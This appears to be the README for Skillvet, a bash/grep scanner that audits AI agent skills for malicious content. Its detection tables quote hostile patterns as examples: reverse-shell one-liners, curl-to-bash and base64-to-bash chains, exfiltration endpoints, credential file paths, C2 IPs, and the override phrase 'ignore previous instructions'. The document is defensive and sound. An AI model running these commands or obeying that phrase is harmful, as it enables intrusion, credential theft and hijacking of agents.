modbender Skillvet
Security scanner for agent skills. 48 critical checks, 8 warning checks. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, campaign signatures from Koi Security, Bitdefender, Snyk, and 1Password ClickFix patterns.
Usage
Safe install (installs, audits, auto-removes if critical):
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
Audit an existing skill:
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
Audit all installed skills:
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
JSON output (for automation):
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
SARIF output (for GitHub Code Scanning / VS Code):
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
Summary mode (one-line per skill):
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
Verbose mode (debug which checks run and what files are scanned):
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
Scan remote skill without installing:
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
Diff scan (only scan what changed between versions):
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
Exit codes: 0 clean, 1 warnings only, 2 critical findings.
Advanced Options
| Flag | Description |
|---|---|
--json |
JSON output for CI/dashboards |
--sarif |
SARIF v2.1.0 output for GitHub Code Scanning |
--summary |
One-line output per skill |
--verbose |
Show which checks run and which files are scanned |
--exclude-self |
Skip scan when scanning own source directory |
--max-file-size N |
Skip files larger than N bytes |
--max-depth N |
Limit directory traversal depth |
Suppressing False Positives
Create a .skillvetrc file in the skill directory to disable specific checks:
# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20
Or add inline comments to suppress individual lines:
const url = "https://bit.ly/legit-link"; // skillvet-ignore
Pre-commit Hook
Install the git pre-commit hook to auto-scan skills before committing:
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
Risk Scoring
Each finding has a severity weight (1-10). The aggregate risk score is included in JSON, SARIF, and summary output. Higher scores indicate more dangerous patterns:
- 10: Reverse shells, known C2 IPs
- 9: Data exfiltration, pipe-to-shell, persistence + network, ClickFix, base64 execution
- 7-8: Credential theft, obfuscation, path traversal, time bombs
- 4-6: Punycode, homographs, ANSI injection, shortened URLs
- 2-3: Subprocess execution, network requests, file writes
Critical Checks (auto-blocked)
Core Security Checks (1-24)
| # | Check | Example |
|---|---|---|
| 1 | Known exfiltration endpoints | webhook.site, ngrok.io, requestbin |
| 2 | Bulk env variable harvesting | printenv |, ${!*@} |
| 3 | Foreign credential access | ANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN in scripts |
| 4 | Code obfuscation | base64 decode, hex escapes, dynamic code generation |
| 5 | Path traversal / sensitive files | ../../, ~/.ssh, ~/.clawdbot |
| 6 | Data exfiltration via curl/wget | curl --data, wget --post with variables |
| 7 | Reverse/bind shells | /dev/tcp/, nc -e, socat |
| 8 | .env file theft | dotenv loading in scripts (not docs) |
| 9 | Prompt injection in markdown | "ignore previous instructions" in SKILL.md |
| 10 | LLM tool exploitation | Instructions to send/email secrets |
| 11 | Agent config tampering | Write/modify AGENTS.md, SOUL.md, clawdbot.json |
| 12 | Unicode obfuscation | Zero-width chars, RTL override, bidi control chars |
| 13 | Suspicious setup commands | curl piped to bash in SKILL.md |
| 14 | Social engineering | Download external binaries, paste-and-run instructions |
| 15 | Shipped .env files | .env files (not .example) in the skill |
| 16 | Homograph URLs (Tirith) | Cyrillic i vs Latin i in hostnames |
| 17 | ANSI escape sequences (Tirith) | Terminal escape codes in code/data files |
| 18 | Punycode domains (Tirith) | xn-- prefixed IDN-encoded domains |
| 19 | Double-encoded paths (Tirith) | %25XX percent-encoding bypass |
| 20 | Shortened URLs (Tirith) | bit.ly, t.co, tinyurl.com hiding destinations |
| 21 | Pipe-to-shell | curl | bash (HTTP and HTTPS) |
| 22 | String construction evasion | String.fromCharCode, getattr, dynamic call assembly |
| 23 | Data flow chain analysis | Same file reads secrets, encodes, AND sends network requests |
| 24 | Time bomb detection | Date.now() > timestamp, setTimeout(fn, 86400000) |
| 25 | Known C2/IOC IP blocklist | 91.92.242.30, 54.91.154.110 (known AMOS C2 servers) |
| 26 | Password-protected archives | "extract using password: openclaw" — AV evasion |
| 27 | Paste service payloads | glot.io, pastebin.com hosting malicious scripts |
| 28 | GitHub releases binary downloads | Fake prerequisites pointing to .zip/.exe on GitHub |
| 29 | Base64 pipe-to-interpreter | echo '...' | base64 -D | bash — primary macOS vector |
| 30 | Subprocess + network commands | hidden pipe-to-shell in Python/JS code |
| 31 | Fake URL misdirection (warning) | decoy URL before real payload |
| 32 | Process persistence + network | nohup curl ... & — backdoor with network access |
| 33 | Fake prerequisite pattern | "Prerequisites" section with sketchy external downloads |
| 34 | xattr/chmod dropper | macOS Gatekeeper bypass: download, xattr -c, chmod +x, execute |
| 35 | ClickFix download+execute chain | curl -o /tmp/x && chmod +x && ./x, open -a with downloads |
| 36 | Suspicious package sources | pip install git+https://..., npm from non-official registries |
| 37 | Staged installer pattern | Fake dependency names like openclaw-core, some-lib |
| 38 | Fake OS update social engineering | "Apple Software Update required for compatibility" |
| 39 | Known malicious ClawHub actors | zaycv, Ddoy233, Sakaen736jih, Hightower6eu references |
| 40 | Bash /dev/tcp reverse shell | bash -i >/dev/tcp/IP/PORT 0>&1 (AuthTool pattern) |
| 41 | Nohup backdoor | nohup bash -c '...' >/dev/null with network commands |
| 42 | Python reverse shell | socket.connect + dup2, pty.spawn('/bin/bash') |
| 43 | Terminal output disguise | Decoy "downloading..." message before malicious payload |
| 44 | Credential file access | Direct reads of .env, .pem, .aws/credentials |
| 45 | TMPDIR payload staging | AMOS pattern: drop malware to $TMPDIR then execute |
| 46 | GitHub raw content execution | curl raw.githubusercontent.com/... | bash |
| 47 | Echo-encoded payloads | Long base64 strings echoed and piped to decoders |
| 48 | Typosquat skill names | clawdhub-helper, openclaw-cli, skillvet1 |
Warning Checks (flagged for review)
| # | Check | Example |
|---|---|---|
| W1 | Unknown external tool requirements | Non-standard CLI tools in install instructions |
| W2 | Subprocess execution | child_process, execSync, spawn, subprocess |
| W3 | Network requests | axios, fetch, requests imports |
| W4 | Minified/bundled files | First line >500 chars — can't audit |
| W5 | Filesystem write operations | writeFile, open('w'), fs.append |
| W6 | Insecure transport | curl -k, verify=False — TLS disabled |
| W7 | Docker untrusted registries | Non-standard image sources |
Scanned File Types
.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle.
Binary files are automatically skipped. Symlinks are followed.
Portability
Works on Linux and macOS. Unicode checks (#12, #16, #17) use grep -P where available, falling back to perl on systems without Perl-compatible regex (e.g., stock macOS). If neither is available, those checks are silently skipped.
IOC Updates
The C2 IP blocklist in check #25 is based on known indicators from:
To update IOCs, edit the KNOWN_IPS entry in scripts/patterns.b64 (base64-encoded regex pattern).
CI/CD Integration
GitHub Actions
A .github/workflows/test.yml is included — runs the test suite on both Ubuntu and macOS on push/PR.
GitHub Code Scanning (SARIF)
- name: Run skillvet
run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
Limitations
Static analysis only. English-centric prompt injection patterns. Minified JS is flagged but not deobfuscated. A clean scan raises the bar but doesn't guarantee safety.
The scanner flags itself when audited — its own patterns contain the strings it detects. Use --exclude-self to skip self-scanning in CI.